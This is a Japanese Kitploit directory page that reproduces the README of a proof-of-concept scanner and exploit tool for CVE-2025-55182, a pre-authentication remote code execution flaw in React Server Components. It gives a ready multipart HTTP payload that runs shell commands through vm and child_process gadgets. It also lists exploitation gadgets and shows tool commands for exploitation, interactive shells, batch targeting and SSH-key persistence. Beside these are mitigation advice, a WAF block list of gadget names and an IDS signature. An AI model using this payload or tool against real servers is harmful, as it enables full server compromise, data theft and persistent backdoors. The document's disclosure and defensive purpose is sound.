Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-POC-SCANNER — 統合セキュリティ研究ツール | Kitploit
ツール/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育レッドチーミングペイロード開発
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

統合セキュリティ研究ツール

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182: React Server Componentsにおける認証前の重大なリモートコード実行

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

セキュリティ研究 by schema.cx
"制御は幻想だ。我々を制御するのは、我々が構築したシステムだ—まずそれを理解しない限り。"


📋 目次

  • 免責事項および法的通知
  • エグゼクティブサマリー
  • 技術的説明
  • 影響を受けるシステム
  • 概念実証
  • 影響評価
  • 緩和策と是正措置
  • 責任ある開示のタイムライン
  • 参考文献
  • 帰属

⚠️ 免責事項および法的通知

このツールは認可されたセキュリティテスト専用です

停止。続行する前にこれを読んでください。

このリポジトリには、重大なセキュリティ脆弱性の概念実証コードが含まれています。このリポジトリの資料にアクセス、ダウンロード、または使用することにより、以下の内容を確認し同意したものとみなされます。

法的要件

  1. 書面による承認が必要: セキュリティテストを実施する前に、システム所有者からの明示的な書面による許可が必要です。口頭での同意は不十分です。

  2. 範囲の制限: テストは、承認書に明示的に記載されたシステムに限定する必要があります。「スコープクリープ」は許可されません。

  3. 適用される法律: コンピュータシステムへの不正アクセスは以下に違反します:

    • 米国: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
    • 欧州連合: 情報システムへの攻撃に関する指令 2013/40/EU
    • 英国: Computer Misuse Act 1990
    • オーストラリア: Criminal Code Act 1995, Division 477-478
    • その他の管轄区域: 同様のコンピュータ犯罪法が世界中で適用されます

責任の免責

このリポジトリの著者および貢献者は:

  • このツールの誤用について一切の責任を負いません
  • 明示的または黙示的な保証を提供しません
  • 本ソフトウェアの使用または使用不能から生じるいかなる損害に対しても責任を負いません
  • いかなる種類の違法行為も推奨しません

倫理的ガイドライン

  • 許可なくテストしない — 「ちょっと確認したい」だけでも
  • すべてを文書化する — すべてのテスト活動の詳細なログを保持する
  • 影響を最小限に — 可能な限り侵襲性の低い方法を使用する
  • 責任を持って報告する — 調整された開示の慣行に従う
  • プライバシーを尊重する — 機密データを不正に持ち出したり保持したりしない

"問題は、脆弱性を悪用できるかどうかではない。悪用すべきかどうか、そしてその目的は何かだ。"


📊 エグゼクティブサマリー

CVE-2025-55182 は、React 19.x および Next.js 15.x-16.x アプリケーションの React Server Components に影響を与える 認証前の重大なリモートコード実行 (RCE) 脆弱性です。

ビジネスへの影響

この脆弱性により、ネットワークアクセスを持つ 認証されていない攻撃者 が脆弱なアプリケーションのサーバー上で任意のコマンドを実行できます。攻撃には認証情報もユーザーの操作も不要で、完全に自動化できます。悪用に成功すると、以下につながります:

  • サーバーの完全な侵害 — 攻撃者は基盤となるシステムの完全な制御を獲得
  • データ漏洩の可能性 — データベース、環境変数、シークレット、ユーザーデータへのアクセス
  • ラテラルムーブメント — 侵害されたサーバーは内部ネットワークへの攻撃に使用可能
  • サプライチェーンリスク — 数百万のユーザーにサービスを提供する本番システムが影響を受ける可能性

深刻度評価

"人々はシステムを理解していないから信頼する。その信頼こそが脆弱性だ。"


🔬 技術的説明

根本原因分析

この脆弱性は、ReactのFlightプロトコル実装内の requireModule 関数に存在します。この関数は、ユーザーが制御する入力に基づいてモジュールのエクスポートにアクセスするために ブラケット記法 を使用しており、要求されたプロパティがモジュールの 自身のプロパティ (own property) であることを検証しません。

脆弱なコードの場所:

root@kitploit:~
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
関数: requireModule (v19.0.0 の約2546-2558行)

脆弱なパターン:

root@kitploit:~
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← 脆弱: hasOwnProperty チェックなし
}

悪用メカニズム

攻撃はJavaScriptの プロトタイプチェーントラバーサル を利用します:

  1. エントリポイント: 攻撃者はServer Actionエンドポイントに悪意のあるマルチパートフォームリクエストを送信
  2. ペイロード注入: $ACTION_0:0 フィールドには、攻撃者が制御する id (module#export形式) と bound (引数) プロパティを含むJSONが含まれる
  3. プロトタイプアクセス: constructor のようなエクスポートを指定したり、プロトタイププロパティにアクセスすることで、攻撃者は組み込みのNode.jsモジュールを参照できる
  4. RCEガジェット: vm.runInThisContext, child_process.execSync, fs.readFileSync などの関数が攻撃者から提供された引数で実行される

攻撃ベクトル

root@kitploit:~
HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // "module#export"形式を解析
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // プロトタイプチェーンアクセス → RCE

ペイロード構造

root@kitploit:~
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

利用可能なRCEガジェット

"あらゆるシステムにはドアがある。問題は、あなた自身が鍵を作ったのか、それとも訪問者を想定していなかった誰かから受け継いだのかだ。"


🎯 影響を受けるシステム

脆弱なバージョン

製品脆弱なバージョン修正済みバージョン
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x (脆弱なReactを使用)パッチ適用済みReactを使用するバージョン

悪用の前提条件

  1. React Server Componentsが有効: アプリケーションがServer ActionsとともにRSCを使用している
  2. 脆弱なReactバージョン: 影響を受けるバージョンのいずれかが使用されている
  3. ネットワークアクセス: 攻撃者がServer Actionエンドポイントに到達可能
  4. バンドル内の危険なモジュール: 直接RCEの場合、vm, child_process, fs などのモジュールがwebpackバンドル内にある必要がある

プラットフォーム要件

  • ランタイム: Node.js (React 19 をサポートする任意のバージョン)
  • フレームワーク: Next.js App Router またはカスタムRSC実装
  • 追加の設定は不要で脆弱になる

危険なモジュールの可能性


🔧 概念実証

スキャナーツール

このリポジトリには、複数の操作モードを備えた包括的なPythonベースのセキュリティスキャナーが含まれています。

リポジトリ構造

root@kitploit:~
CVE-2025-55182-poc/
├── README.md                    # このファイル
├── scanner/
│   ├── __init__.py             # Pythonパッケージ初期化
│   ├── scanner.py              # メイン統合スキャナー (6モード)
│   ├── readme.md               # スキャナーの詳細ドキュメント
│   ├── requirements.txt        # Python依存関係
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # 脆弱性の詳細分析
│       └── VULNERABLE-PACKAGES.md   # 影響を受けるパッケージバージョン

インストール:

root@kitploit:~
cd scanner
pip install -r requirements.txt

基本的な使用例

脆弱性スキャン:

root@kitploit:~
# ターゲットが脆弱かどうかを確認
python scanner.py scan https://target.com

ガジェット検出:

root@kitploit:~
# 利用可能なRCEガジェットを特定
python scanner.py exploit https://target.com --detect-gadgets

コマンド実行 (許可あり):

root@kitploit:~
# 脆弱なターゲットでコマンドを実行
python scanner.py exploit https://target.com -c "whoami"

バッチテスト:

root@kitploit:~
# ファイルから複数のターゲットをテスト
python scanner.py batch -f targets.txt -o results.json

自動スキャンと検証:

root@kitploit:~
# 検証付きの包括的なスキャン
python scanner.py auto -f targets.txt -o report.txt

期待される出力

脆弱なターゲット:

root@kitploit:~
[+] VULNERABLE to CVE-2025-55182!
    Framework: Next.js
    Version: 15.1.0
    Confidence: HIGH
    
Available Gadgets:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

修正済みターゲット:

root@kitploit:~
[-] Not vulnerable or unable to determine
    Framework detected: Next.js
    Version: 15.2.0 (patched)

スキャナーモード

機能

  • フレームワーク検出: 悪用前にNext.js/Reactアプリケーションを識別
  • WAF/CDN検出: Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAFなどを認識
  • 複数のRCEガジェット: vm, child_process, fs, module の悪用パス
  • 2段階RCE: fs#writeFileSync + module#_load による代替悪用
  • 検証: 実行証明による悪用の確認
  • 誤検知防止: HTML/WAF応答のスマートフィルタリング
  • レポート: テキスト、JSON、HTML出力形式

詳細なドキュメントについては、scanner/readme.md を参照してください。

"ツールは、その背後にある意図次第で危険になる。正しい手にあれば、武器は盾になる。"


💥 影響評価

機密性への影響: 高

  • 環境変数: データベース認証情報、APIキー、シークレット
  • ソースコード: アプリケーションロジック、独自アルゴリズム
  • ユーザーデータ: 個人情報、認証トークン
  • システムファイル: /etc/passwd, SSHキー、クラウド認証情報
  • 内部ネットワーク: さらなる攻撃のための踏み台

完全性への影響: 高

  • コードインジェクション: アプリケーションファイルへのバックドア
  • データ改ざん: データベースの変更
  • 設定変更: セキュリティ設定、アクセス制御
  • 永続化メカニズム: cronジョブ、起動スクリプト、SSHキー

可用性への影響: 高

  • サービス中断: プロセスの終了、リソースの枯渇
  • データ破壊: ファイルの削除、データベースの削除
  • ランサムウェアの展開: 重要なファイルの暗号化
  • システムの完全な侵害: 完全な管理者権限

攻撃シナリオ

  1. データ漏洩: 攻撃者がデータベース認証情報を含む .env ファイルを読み取り、顧客データを窃取
  2. クリプトマイナーのインストール: 攻撃者がマイニングスクリプトを書き込み、永続化のためにcronジョブを追加
  3. サプライチェーン攻撃: 攻撃者が本番環境のソースコードを改ざんし、悪意のあるコンテンツをユーザーに配信
  4. ラテラルムーブメント: 侵害されたサーバーを使用して内部データベース、API、およびサービスを攻撃
  5. ランサムウェア: 攻撃者がアプリケーションファイルを暗号化し、復号キーの支払いを要求

🛡️ 緩和策と是正措置

即時対応 (今すぐ実行)

  1. すぐにReactをアップグレード

    root@kitploit:~
    npm update react react-dom react-server-dom-webpack
    

    ターゲットバージョン: 19.0.1+, 19.1.2+, または 19.2.1+

  2. パッチ適用の確認

    root@kitploit:~
    npm ls react
    

    依存関係ツリーに脆弱なバージョンが残っていないことを確認

WAF/ファイアウォールルール

以下のパターンを含むリクエストをブロック:

root@kitploit:~
# ブロックするリクエスト本文パターン
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Next.js設定の強化

危険なパッケージをwebpackバンドルから除外:

root@kitploit:~
// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

検出と監視

監視するログパターン:

  • リクエスト本文内の異常な $ACTION_REF_ または $ACTION_ID_ フィールド
  • JSONを含むマルチパートフォームデータを使用した /api/* エンドポイントへのPOSTリクエスト
  • constructor, prototype、または予期しないモジュールアクセスを参照するエラーメッセージ

侵入検知シグネチャ:

root@kitploit:~
alert http any any -> $HOME_NET any (
  msg:"CVE-2025-55182 Exploit Attempt";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

長期的な推奨事項

  1. 依存関係監査: npm audit, Snyk、または同様のツールを使用した定期的なスキャン
  2. セキュリティ更新: Dependabot または Renovate による自動依存関係更新
  3. 入力検証: プロパティアクセスパターンでユーザー入力を信頼しない
  4. 最小特権: アプリケーションを必要最小限の権限で実行
  5. ネットワークセグメンテーション: 本番システムを内部ネットワークから分離

"パッチ適用は、壊れたものを直すだけではない。開いていることに気づかなかったドアを閉じることだ。"


📅 責任ある開示のタイムライン

この開示は、調整された脆弱性開示のための CERT/CC 脆弱性開示ガイドライン および ISO/IEC 29147:2018 基準に従っています。


📚 参考文献

公式リソース

  • CVEエントリ: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

ベンダーアドバイザリ

  • Reactセキュリティアドバイザリ: https://github.com/facebook/react/security/advisories
  • Next.jsセキュリティ: https://nextjs.org/docs/security

関連研究

  • 技術分析 (詳細)
  • 脆弱性パッケージ分析

背景資料

  • OWASP - プロトタイプ汚染
  • Node.js VMモジュールセキュリティ
  • React Server Components RFC

🏆 帰属

オリジナル研究

この概念実証は、schema.cx のセキュリティ研究チームによって開発されました。

リポジトリ: https://github.com/ejpir/CVE-2025-55182-poc

謝辞

感謝の意を表します:

  • 迅速な対応をいただいたReactおよびNext.jsのセキュリティチーム
  • 協力的な分析を行ったセキュリティ研究コミュニティ
  • CVE調整を行ったMITRE

📜 ライセンス

このプロジェクトは、教育および認可されたセキュリティ研究目的のみ のために公開されています。

本ソフトウェアを使用することにより、以下に同意するものとします:

  1. 自分が所有する、またはテストする明示的な許可を得ているシステムでのみ使用する
  2. 責任ある開示の慣行に従う
  3. 悪意のある目的で使用しない
  4. 自身の行動に対するすべての責任を受け入れる

"私たちは破壊するためにハッキングするのではない。理解するためにハッキングする。そして理解は、より良いものを構築するための第一歩だ。"

schema.cx — より安全なデジタル世界のためのセキュリティ研究

ツールをダウンロード
指標評価
CVSS v3.1 基本スコア10.0 CRITICAL
攻撃元区分ネットワーク
攻撃複雑性低
必要な権限不要
ユーザー関与不要
影響 (機密性/完全性/可用性)高 / 高 / 高
ガジェットモジュール説明影響
vm#runInThisContextvm現在のコンテキストでJSを実行直接RCE
vm#runInNewContextvmサンドボックス内でJSを実行 (脱出可能)直接RCE
child_process#execSyncchild_processシェルコマンドを実行直接RCE
child_process#spawnSyncchild_processプロセスを起動直接RCE
fs#readFileSyncfs任意のファイルを読み取りデータ窃取
fs#writeFileSyncfs任意のファイルを書き込み永続化/バックドア
module#_loadmoduleJSモジュールを読み込む (2段階RCE)間接RCE
モジュールバンドルに含まれる可能性一般的なソース
fs非常に高いfs-extra, gray-matter, multer, sharp, chokidar
child_process中程度から高いexeca, shelljs, puppeteer, sharp, pdf generators
vm低いから中程度ejs, pug, template engines
module非常に低いtsx, ts-node (通常CLIのみ)
モード目的
scan脆弱性検出とフィンガープリンティング
exploit特定のガジェットを使用した制御された悪用
shell脆弱なターゲットでの対話型コマンドシェル
batch統計情報を使用した複数URLのテスト
auto検証付き自動マルチターゲットスキャン
persist永続化攻撃のデモ (SSHキー、認証情報)
日付イベント
発見情報保留中
ベンダー通知情報保留中
ベンダー確認情報保留中
パッチ開発情報保留中
パッチリリースReact 19.0.1, 19.1.2, 19.2.1
公開開示情報保留中
CVE割り当てCVE-2025-55182